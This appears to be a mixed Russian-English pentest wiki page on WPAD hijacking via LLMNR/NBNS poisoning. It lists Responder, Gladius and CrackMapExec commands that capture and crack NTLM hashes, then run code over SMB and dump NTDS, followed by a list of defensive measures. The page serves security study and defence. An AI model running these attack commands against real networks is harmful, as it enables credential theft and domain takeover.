WPAD

About

Web Proxy Auto-Discovery Protocol

http://wpad/wpad.dat as PAC file

Hijack WPAD -> Proxy Server

Insert any html tags in HTTP Response

АтакС Ρ‡Π΅Ρ€Π΅Π· ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» WPAD ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Ρ‹ всС систСмы β€” Linux, Windows, MacOS

Основная ΡΡ‚Π°Ρ‚ΡŒΡ: https://www.praetorian.com/blog/broadcast-name-resolution-poisoning-wpad-attack-vector/

Impact

Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π°Ρ‚Π°ΠΊΡƒ Β«Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ посСрСдинС» (MiTM) Π½Π° уязвимыС систСмы, Ссли ΠΎΠ½ΠΈ находятся Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ локальной сСти, Ρ‡Ρ‚ΠΎ ΠΈ систСма-ΠΆΠ΅Ρ€Ρ‚Π²Π° (внутрСнняя ΡΠ΅Ρ‚ΡŒ, ΠΊΠ°Ρ„Π΅, аэропорт).

Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π°Ρ‚Π°ΠΊΡƒ MiTM Ρ‡Π΅Ρ€Π΅Π· Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚, Ссли ΠΎΠ½ смоТСт Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ gTLD, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ΡƒΠ΅Ρ‚ с Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ схСмой ΠΈΠΌΠ΅Π½, ΠΈ Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ прокси-сСрвСр WPAD.

Description

Π•ΡΡ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ Π°Ρ‚Π°ΠΊΠΈ, ΠΎΠ΄Π½Π°ΠΊΠΎ основная идСя схоТа. ΠΡ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Π½Π° запросы Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ by spoofing name resolution responses. [TODO]

Example

Tools: Gladius: https://www.praetorian.com/blog/gladius-automatic-responder-cracking HobORules: https://www.praetorian.com/blog/hob064-statistics-based-password-cracking-rules-hashcat-d3adhob0 Responder: https://github.com/SpiderLabs/Responder

Π‘Ρ‚Π°Ρ€Ρ‚ΡƒΠ΅ΠΌ Gladius (Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΠΏΠΎΠ΄Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π» Ρ…Π΅ΡˆΠΈ)

~/gladius# sudoo ./gladius.py --responder-ddir /home/ubuntu/Responder/logs -r hob064.rule

Π”Π°Π»Π΅Π΅ запускаСм Responder.

$ sudo responder -I eth2 -wF 

Π”Π°Π»Π΅Π΅ Π·Π°Ρ…ΠΎΠ΄ΠΈΠΌ ΡƒΠΆΠ΅ с ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΊΡ€Π΅Π΄Π°ΠΌΠΈ ΠΏΠΎ SMB, исполняСм ΠΊΠΎΠ΄, Π΄Π°ΠΌΠΏΠΈΠΌ ntds:

~/CrackMapExec# ./crackmapexec.py 10.10.10.2 -d CORP -u Administrator -p Password -x 'whoami'
~/CrackMapExec# ./crackmapexec.py 10.10.10.2 -d CORP -u Administrator -p Password --ntds drsuapi

Apart from getting the NTLM hash to crack, this could be useful for NTLM relay attacks, since the HTTP doesn't required sign in NTLM and therefore it can be used with any other protocol in NTLM cross-protocol relay attack.

Moreover, to serve the PAC file to the victim will allow you to execute some javascript code as the victim, which could be used to exfiltrate the visited URLs.

Π—Π°Ρ‰ΠΈΡ‚Π°

  • Create a WPAD entry which points to the corporate proxy server or disable proxy auto-detection in Internet Explorer.

  • Disable NBNS and LLMNR (test in a lab before deploying to all systems).

  • Set valid DNS entries for all internal and external resources.

  • Monitor the network for broadcast poisoning attacks.

  • Restrict outbound 53/tcp and 445/tcp for all internal systems.

Last updated